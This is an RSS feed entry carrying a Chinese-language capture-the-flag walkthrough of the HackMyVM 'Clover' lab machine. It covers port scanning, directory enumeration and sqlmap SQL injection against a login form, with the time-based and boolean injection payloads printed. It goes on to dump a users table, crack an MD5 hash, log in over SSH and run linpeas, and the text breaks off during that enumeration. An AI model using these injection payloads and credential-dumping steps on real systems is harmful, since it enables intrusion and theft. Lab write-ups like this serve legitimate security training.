 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/corrosion3/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/corrosion3/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sun, 11 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Clover</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/clover/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/clover/</guid><description>Enjoy it.</description><content:encoded>&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;──(root㉿kali)-[/home/kali]
└─# arp-scan -l -I eth0 | grep &amp;quot;00:50:56&amp;quot;          
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
172.16.53.36    00:50:56:2e:26:e8       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;namp扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 -p0-65535 172.16.53.36 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-14 01:24 EST
Nmap scan report for 172.16.53.36
Host is up (0.00051s latency).
Not shown: 65528 filtered tcp ports (no-response)
PORT     STATE  SERVICE    VERSION
20/tcp   closed ftp-data
21/tcp   open   ftp        vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Mar 26  2021 maintenance
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:172.16.55.210
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp   open   ssh        OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey: 
|   1024 bc:a7:bf:7f:23:83:55:08:f7:d1:9a:92:46:c6:ad:2d (DSA)
|   2048 96:bd:c2:57:1c:91:7b:0a:b9:49:5e:7f:d1:37:a6:65 (RSA)
|   256 b9:d9:9d:58:b8:5c:61:f2:36:d9:b2:14:e8:00:3c:05 (ECDSA)
|_  256 24:29:65:28:6e:fa:07:6a:f1:6b:fa:07:a0:13:1b:b6 (ED25519)
80/tcp   open   http       Apache httpd 2.4.10 ((Debian))
| http-robots.txt: 3 disallowed entries 
|_/admin /root /webmaster
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn&amp;#39;t have a title (text/html).
110/tcp  closed pop3
443/tcp  closed https
5781/tcp closed 3par-evts
8080/tcp closed http-proxy
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.79 seconds
                                                                 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;gobuster&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/index.html           (Status: 200) [Size: 3]
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/status               (Status: 200) [Size: 10]
/javascript           (Status: 301) [Size: 317] [--&amp;gt; http://172.16.53.36/javascript/]
/website              (Status: 301) [Size: 314] [--&amp;gt; http://172.16.53.36/website/]
/robots.txt           (Status: 200) [Size: 105]
/phpmyadmin           (Status: 301) [Size: 317] [--&amp;gt; http://172.16.53.36/phpmyadmin/]
/.php                 (Status: 403) [Size: 277]
/.html                (Status: 403) [Size: 277]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;/robots.txt&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;User-agent: *
Allow: /status
Allow: /status-admin

Disallow: /admin
Disallow: /root
Disallow: /webmaster
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;dirsearch&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# dirsearch -u http://172.16.53.36       
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                                                
 (_||| _) (/_(_|| (_| )                                                                                                                                         
                                                                                                                                                                
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/http_172.16.53.36/_25-12-14_02-02-35.txt

Target: http://172.16.53.36/

[02:02:35] Starting:  

02:02:44] 301 -  312B  - /CFIDE  -&amp;gt;  http://172.16.53.36/CFIDE/             
[02:02:44] 200 -  451B  - /CFIDE/                                           
[02:02:44] 200 -    9KB - /CFIDE/Administrator/                             
[02:02:50] 301 -  317B  - /javascript  -&amp;gt;  http://172.16.53.36/javascript/  
[02:02:55] 301 -  317B  - /phpmyadmin  -&amp;gt;  http://172.16.53.36/phpmyadmin/  
[02:02:55] 200 -    9KB - /phpmyadmin/                                      
[02:02:55] 200 -    3KB - /phpmyadmin/docs/html/index.html                  
[02:02:55] 200 -    8KB - /phpmyadmin/index.php                             
[02:02:57] 200 -   83B  - /robots.txt                                       
[02:02:58] 403 -  277B  - /server-status                                    
[02:02:58] 403 -  277B  - /server-status/
[02:02:59] 200 -   10B  - /status                                           
[02:02:59] 200 -   10B  - /status?full=true                                 
[02:03:04] 301 -  314B  - /website  -&amp;gt;  http://172.16.53.36/website/        
                                                                             
Task Completed   
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;http://172.16.53.36/CFIDE/Administrator/login.php&quot;&gt;/CFIDE/Administrator/login.php&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;lt;!doctype html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;Login&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;form action=&amp;quot;#&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;
        &amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;
          &amp;lt;label for=&amp;quot;uname&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Username&amp;lt;/b&amp;gt;&amp;lt;/label&amp;gt;
          &amp;lt;input type=&amp;quot;text&amp;quot; placeholder=&amp;quot;Enter Username&amp;quot; name=&amp;quot;uname&amp;quot; required&amp;gt;
          &amp;lt;br&amp;gt;
          &amp;lt;br&amp;gt;
          &amp;lt;label for=&amp;quot;pswd&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Password&amp;lt;/b&amp;gt;&amp;lt;/label&amp;gt;
          &amp;lt;input type=&amp;quot;password&amp;quot; placeholder=&amp;quot;Enter Password&amp;quot; name=&amp;quot;pswd&amp;quot; required&amp;gt;

          &amp;lt;button type=&amp;quot;submit&amp;quot;&amp;gt;Login&amp;lt;/button&amp;gt;
        &amp;lt;/div&amp;gt;
      &amp;lt;/form&amp;gt; 
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;SQL注入&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;POST /CFIDE/Administrator/login.php HTTP/1.1
Host: 172.16.53.36
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://172.16.53.36
Connection: keep-alive
Referer: http://172.16.53.36/CFIDE/Administrator/login.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i

uname=admin&amp;amp;pswd=123
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# sqlmap -r sqlmap.txt --dbs --flush-session --level=5 --risk=3
        ___
       __H__                                                                   
 ___ ___[.]_____ ___ ___  {1.8.11#stable}                                      
|_ -| . [&amp;quot;]     | .&amp;#39;| . |                                                      
|___|_  [&amp;#39;]_|_|_|__,|  _|                                                      
      |_|V...       |_|   https://sqlmap.org                                   

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&amp;#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:14:31 /2025-12-14/

[02:14:31] [INFO] parsing HTTP request from &amp;#39;sqlmap.txt&amp;#39;
[02:14:31] [INFO] testing connection to the target URL
[02:14:31] [INFO] testing if the target URL content is stable
[02:14:31] [INFO] target URL content is stable
[02:14:31] [INFO] testing if POST parameter &amp;#39;uname&amp;#39; is dynamic
[02:14:31] [WARNING] POST parameter &amp;#39;uname&amp;#39; does not appear to be dynamic
[02:14:31] [WARNING] heuristic (basic) test shows that POST parameter &amp;#39;uname&amp;#39; might not be injectable
[02:14:31] [INFO] testing for SQL injection on POST parameter &amp;#39;uname&amp;#39;
[02:14:31] [INFO] testing &amp;#39;AND boolean-based blind - WHERE or HAVING clause&amp;#39;
[02:14:31] [INFO] testing &amp;#39;Boolean-based blind - Parameter replace (original value)&amp;#39;                                                                          
[02:14:31] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)&amp;#39;                                          
[02:14:31] [INFO] testing &amp;#39;PostgreSQL AND error-based - WHERE or HAVING clause&amp;#39;
[02:14:31] [INFO] testing &amp;#39;Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)&amp;#39;                                                         
[02:14:31] [INFO] testing &amp;#39;Oracle AND error-based - WHERE or HAVING clause (XMLType)&amp;#39;                                                                         
[02:14:31] [INFO] testing &amp;#39;Generic inline queries&amp;#39;
[02:14:31] [INFO] testing &amp;#39;PostgreSQL &amp;gt; 8.1 stacked queries (comment)&amp;#39;
[02:14:31] [INFO] testing &amp;#39;Microsoft SQL Server/Sybase stacked queries (comment)&amp;#39;                                                                             
[02:14:31] [INFO] testing &amp;#39;Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)&amp;#39;                                                                      
[02:14:31] [INFO] testing &amp;#39;MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)&amp;#39;
[02:14:41] [INFO] POST parameter &amp;#39;uname&amp;#39; appears to be &amp;#39;MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)&amp;#39; injectable                                        
it looks like the back-end DBMS is &amp;#39;MySQL&amp;#39;. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for &amp;#39;MySQL&amp;#39; extending provided level (1) and risk (1) values? [Y/n] y
[02:14:46] [INFO] testing &amp;#39;Generic UNION query (NULL) - 1 to 20 columns&amp;#39;
[02:14:46] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[02:14:46] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option &amp;#39;--union-char&amp;#39;? [Y/n] y
[02:14:47] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. &amp;#39;--dbms=mysql&amp;#39;) 
[02:14:47] [INFO] checking if the injection point on POST parameter &amp;#39;uname&amp;#39; is a false positive
POST parameter &amp;#39;uname&amp;#39; is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
[02:15:05] [INFO] testing if POST parameter &amp;#39;pswd&amp;#39; is dynamic
[02:15:05] [WARNING] POST parameter &amp;#39;pswd&amp;#39; does not appear to be dynamic
[02:15:05] [WARNING] heuristic (basic) test shows that POST parameter &amp;#39;pswd&amp;#39; might not be injectable
[02:15:05] [INFO] testing for SQL injection on POST parameter &amp;#39;pswd&amp;#39;
[02:15:05] [INFO] testing &amp;#39;AND boolean-based blind - WHERE or HAVING clause&amp;#39;
[02:15:05] [INFO] testing &amp;#39;Boolean-based blind - Parameter replace (original value)&amp;#39;                                                                          
[02:15:05] [INFO] testing &amp;#39;Generic inline queries&amp;#39;
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y
[02:15:06] [INFO] testing &amp;#39;Generic UNION query (85) - 1 to 10 columns&amp;#39;
[02:15:06] [WARNING] POST parameter &amp;#39;pswd&amp;#39; does not seem to be injectable
sqlmap identified the following injection point(s) with a total of 116 HTTP(s) requests:
---
Parameter: uname (POST)
    Type: time-based blind
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=admin&amp;#39; AND (SELECT 1230 FROM (SELECT(SLEEP(5)))YPCw) AND &amp;#39;JDtR&amp;#39;=&amp;#39;JDtR&amp;amp;pswd=123
---
[02:15:06] [INFO] the back-end DBMS is MySQL
[02:15:06] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
web server operating system: Linux Debian 8 (jessie)
web application technology: Apache 2.4.10
back-end DBMS: MySQL &amp;gt;= 5.0.12
[02:15:06] [INFO] fetched data logged to text files under &amp;#39;/root/.local/share/sqlmap/output/172.16.53.36&amp;#39;                                                     
[02:15:06] [WARNING] your sqlmap version is outdated

[*] ending @ 02:15:06 /2025-12-14/
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# sqlmap -r sqlmap.txt --dbs                                   
        ___
       __H__                                                                   
 ___ ___[)]_____ ___ ___  {1.8.11#stable}                                      
|_ -| . [(]     | .&amp;#39;| . |                                                      
|___|_  [.]_|_|_|__,|  _|                                                      
      |_|V...       |_|   https://sqlmap.org                                   

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&amp;#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:33:09 /2025-12-14/

[02:33:09] [INFO] parsing HTTP request from &amp;#39;sqlmap.txt&amp;#39;
[02:33:09] [INFO] resuming back-end DBMS &amp;#39;mysql&amp;#39; 
[02:33:09] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: pswd (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: uname=admin&amp;amp;pswd=-4090&amp;#39; OR 1618=1618-- tOcq

    Type: time-based blind
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=admin&amp;amp;pswd=123&amp;#39; AND (SELECT 1676 FROM (SELECT(SLEEP(5)))JFAv)-- twPX

Parameter: uname (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: uname=-6314&amp;#39; OR 6534=6534-- XRHY&amp;amp;pswd=123

    Type: time-based blind
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=admin&amp;#39; AND (SELECT 4958 FROM (SELECT(SLEEP(5)))gKGF)-- RxMA&amp;amp;pswd=123
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: uname, type: Single quoted string (default)
[1] place: POST, parameter: pswd, type: Single quoted string
[q] Quit
&amp;gt; 1
[02:33:12] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 8 (jessie)
web application technology: Apache 2.4.10
back-end DBMS: MySQL &amp;gt;= 5.0.12
[02:33:12] [INFO] fetching database names
[02:33:12] [INFO] fetching number of databases
[02:33:12] [INFO] resumed: 5
[02:33:12] [INFO] resumed: information_schema
[02:33:12] [INFO] resumed: clover
[02:33:12] [INFO] resumed: mysql
[02:33:12] [INFO] resumed: performance_schema
[02:33:12] [INFO] resumed: sys
available databases [5]:
[*] clover
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

[02:33:12] [INFO] fetched data logged to text files under &amp;#39;/root/.local/share/sqlmap/output/172.16.53.36&amp;#39;                                                     
[02:33:12] [WARNING] your sqlmap version is outdated

[*] ending @ 02:33:12 /2025-12-14/
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# sqlmap -r sqlmap.txt --batch --tables -D clover
        ___
       __H__                                                                   
 ___ ___[.]_____ ___ ___  {1.8.11#stable}                                      
|_ -| . [)]     | .&amp;#39;| . |                                                      
|___|_  [,]_|_|_|__,|  _|                                                      
      |_|V...       |_|   https://sqlmap.org                                   

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&amp;#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:34:47 /2025-12-14/

[02:34:47] [INFO] parsing HTTP request from &amp;#39;sqlmap.txt&amp;#39;
[02:34:47] [INFO] resuming back-end DBMS &amp;#39;mysql&amp;#39; 
[02:34:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: pswd (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: uname=admin&amp;amp;pswd=-4090&amp;#39; OR 1618=1618-- tOcq

    Type: time-based blind
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=admin&amp;amp;pswd=123&amp;#39; AND (SELECT 1676 FROM (SELECT(SLEEP(5)))JFAv)-- twPX

Parameter: uname (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: uname=-6314&amp;#39; OR 6534=6534-- XRHY&amp;amp;pswd=123

    Type: time-based blind
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=admin&amp;#39; AND (SELECT 4958 FROM (SELECT(SLEEP(5)))gKGF)-- RxMA&amp;amp;pswd=123
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: uname, type: Single quoted string (default)
[1] place: POST, parameter: pswd, type: Single quoted string
[q] Quit
&amp;gt; 0
[02:34:47] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 8 (jessie)
web application technology: Apache 2.4.10
back-end DBMS: MySQL &amp;gt;= 5.0.12
[02:34:47] [INFO] fetching tables for database: &amp;#39;clover&amp;#39;
[02:34:47] [INFO] fetching number of tables for database &amp;#39;clover&amp;#39;
[02:34:47] [WARNING] running in a single-thread mode. Please consider usage of option &amp;#39;--threads&amp;#39; for faster data retrieval
[02:34:47] [INFO] retrieved: 1
[02:34:47] [INFO] retrieved: users
Database: clover
[1 table]
+-------+
| users |
+-------+

[02:34:47] [INFO] fetched data logged to text files under &amp;#39;/root/.local/share/sqlmap/output/172.16.53.36&amp;#39;                                                     
[02:34:47] [WARNING] your sqlmap version is outdated

[*] ending @ 02:34:47 /2025-12-14/
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# sqlmap -r sqlmap.txt --batch --dump -T users -D clover
        ___
       __H__                                                                   
 ___ ___[)]_____ ___ ___  {1.8.11#stable}                                      
|_ -| . [&amp;quot;]     | .&amp;#39;| . |                                                      
|___|_  [.]_|_|_|__,|  _|                                                      
      |_|V...       |_|   https://sqlmap.org                                   

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&amp;#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:36:01 /2025-12-14/

[02:36:01] [INFO] parsing HTTP request from &amp;#39;sqlmap.txt&amp;#39;
[02:36:01] [INFO] resuming back-end DBMS &amp;#39;mysql&amp;#39; 
[02:36:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: pswd (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: uname=admin&amp;amp;pswd=-4090&amp;#39; OR 1618=1618-- tOcq

    Type: time-based blind
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=admin&amp;amp;pswd=123&amp;#39; AND (SELECT 1676 FROM (SELECT(SLEEP(5)))JFAv)-- twPX

Parameter: uname (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: uname=-6314&amp;#39; OR 6534=6534-- XRHY&amp;amp;pswd=123

    Type: time-based blind
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=admin&amp;#39; AND (SELECT 4958 FROM (SELECT(SLEEP(5)))gKGF)-- RxMA&amp;amp;pswd=123
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: uname, type: Single quoted string (default)
[1] place: POST, parameter: pswd, type: Single quoted string
[q] Quit
&amp;gt; 0
Table: users
[3 entries]
+----+----------------------------------+-----------+
| id | password                         | username  |
+----+----------------------------------+-----------+
| 1  | 33a41c7507cy5031d9tref6fdb31880c | 0xBush1do |
| 2  | 69a41c7507ad7031d9decf6fdb31810c | asta      |
| 3  | 92ift37507ad7031d9decf98setf4w0c | 0xJin     |
+----+----------------------------------+-----------+

[02:36:09] [INFO] table &amp;#39;clover.users&amp;#39; dumped to CSV file &amp;#39;/root/.local/share/sqlmap/output/172.16.53.36/dump/clover/users.csv&amp;#39;                               
[02:36:09] [INFO] fetched data logged to text files under &amp;#39;/root/.local/share/sqlmap/output/172.16.53.36&amp;#39;                                                     
[02:36:09] [WARNING] your sqlmap version is outdated

[*] ending @ 02:36:09 /2025-12-14/

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 69a41c7507ad7031d9decf6fdb31810c | asta&lt;/p&gt;
&lt;p&gt;成功登录网页但是什么也没有&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Clover-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://md5online.it&quot;&gt;MD5 - Cripta e decripta stringhe in md5 - MD5ONLINE&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;md5解密69a41c7507ad7031d9decf6fdb31810c&lt;/p&gt;
&lt;p&gt;得到asta$$123明文密码&lt;/p&gt;
&lt;h1&gt;ssh-asta&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop/hmv]
└─# ssh asta@172.16.53.36                                 
The authenticity of host &amp;#39;172.16.53.36 (172.16.53.36)&amp;#39; can&amp;#39;t be established.
ED25519 key fingerprint is SHA256:0sF0ePGQNGhI+61HmDsXzDvIYL3L6JpUs2uiB2tkUrE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added &amp;#39;172.16.53.36&amp;#39; (ED25519) to the list of known hosts.
asta@172.16.53.36&amp;#39;s password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Wed Apr  7 08:38:41 2021 from desktop-f5mldm7
asta@Clover:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;asta@Clover:~$ cat local.txt 



                                |     |
                                \\_V_//
                                \/=|=\/
       Asta PWN!                 [=v=]
                               __\___/_____
                              /..[  _____  ]
                             /_  [ [  M /] ]
                            /../.[ [ M /@] ]
                           &amp;lt;--&amp;gt;[_[ [M /@/] ]
                          /../ [.[ [ /@/ ] ]
     _________________]\ /__/  [_[ [/@/ C] ]
    &amp;lt;_________________&amp;gt;&amp;gt;0---]  [=\ \@/ C / /
       ___      ___   ]/000o   /__\ \ C / /
          \    /              /....\ \_/ /
       ....\||/....           [___/=\___/
      .    .  .    .          [...] [...]
     .      ..      .         [___/ \___]
     .    0 .. 0    .         &amp;lt;---&amp;gt; &amp;lt;---&amp;gt;
  /\/\.    .  .    ./\/\      [..]   [..]
 / / / .../|  |\... \ \ \    _[__]   [__]_
/ / /       \/       \ \ \  [____&amp;gt;   &amp;lt;____]



34f35ca9ea7febe859be7715b707d684
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;asta@Clover:/home$ ls -al
total 16
drwxr-xr-x  4 root  root  4096 Mar 24  2021 .
drwxr-xr-x 22 root  root  4096 Mar 24  2021 ..
drwx------ 17 asta  asta  4096 Apr  7  2021 asta
drwx------  2 sword sword 4096 Mar 27  2021 sword
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以发现还存在sword用户&lt;/p&gt;
&lt;h2&gt;上传linpeas.sh&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;┌──(root㉿kali)-[/home/kali]
└─# scp /usr/share/peass/linpeas/linpeas.sh asta@172.16.53.36:/tmp/ 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;asta@Clover:/tmp$ ./linpeas.sh 

                               ╔═══════════════════╗
═══════════════════════════════╣ Basic information ╠═══════════════════════════════                                                                           
                               ╚═══════════════════╝                           
OS: Linux version 3.16.0-11-amd64 (debian-kernel@lists.debian.org) (gcc version 4.9.2 (Debian 4.9.2-10+deb8u2) ) #1 SMP Debian 3.16.84-1 (2020-06-09)
User &amp;amp; Groups: uid=1000(asta) gid=1000(asta) groups=1000(asta),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),118(bluetooth)
Hostname: Clover

[+] /bin/ping is available for network discovery (LinPEAS can discover hosts, learn more with -h)                                                             
[+] /bin/bash is available for network discovery, port scanning and port forwarding (LinPEAS can discover hosts, scan ports, and forward ports. Learn more with -h)                                                                          
[+] /bin/netcat is available for network discovery &amp;amp; port scanning (LinPEAS can discover hosts and scan ports, learn more with -h)                            
[+] nmap is available for network discovery &amp;amp; port scanning, you should use it yourself                                                                       
                                                                               

Caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . DONE                                                
                                                                               
                              ╔════════════════════╗
══════════════════════════════╣ System Information ╠══════════════════════════════                                                                            
                              ╚════════════════════╝                           
╔══════════╣ Operative system
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits                                                             
Linux version 3.16.0-11-amd64 (debian-kernel@lists.debian.org) (gcc version 4.9.2 (Debian 4.9.2-10+deb8u2) ) #1 SMP Debian 3.16.84-1 (2020-06-09)
lsb_release Not Found
                                                                               
╔══════════╣ Sudo version
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-version                                                                
Sudo version 1.8.10p3                                                          


╔══════════╣ PATH
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-path-abuses                                                        
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games                       

╔══════════╣ Date &amp;amp; uptime
Sun Dec 14 02:55:04 EST 2025                                                   
 02:55:04 up 26 min,  2 users,  load average: 0.22, 0.05, 0.02

╔══════════╣ Unmounted file-system?
╚ Check if you can mount umounted devices                                      
UUID=a3fa4055-5438-415f-a84e-3e8ac12fe02a /               ext4    errors=remount-ro 0       1
UUID=946c2d24-207b-4dd8-8414-3e92501cad5f none            swap    sw              0       0
/dev/sr0        /media/cdrom0   udf,iso9660 user,noauto     0       0

╔══════════╣ Any sd*/disk* disk in /dev? (limit 20)
disk                                                                           
sda
sda1
sda2
sda5

╔══════════╣ Environment
╚ Any private information inside environment variables?                        
MAIL=/var/mail/asta                                                            
SSH_CLIENT=172.16.55.210 58162 22
USER=asta
SHLVL=1
HOME=/home/asta
OLDPWD=/
SSH_TTY=/dev/pts/0
LOGNAME=asta
_=./linpeas.sh
TERM=xterm-256color
XDG_RUNTIME_DIR=/run/user/1000
LANG=en_US.UTF-8
SHELL=/bin/bash
PWD=/tmp
SSH_CONNECTION=172.16.55.210 58162 172.16.53.36 22

╔══════════╣ Searching Signature verification failed in dmesg
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#dmesg-signature-verification-failed                                         
dmesg Not Found                                                                
                                                                               
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester                             
[+] [CVE-2016-5195] dirtycow                                                   

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: [ debian=7|8 ],RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},ubuntu=16.04|14.04|12.04
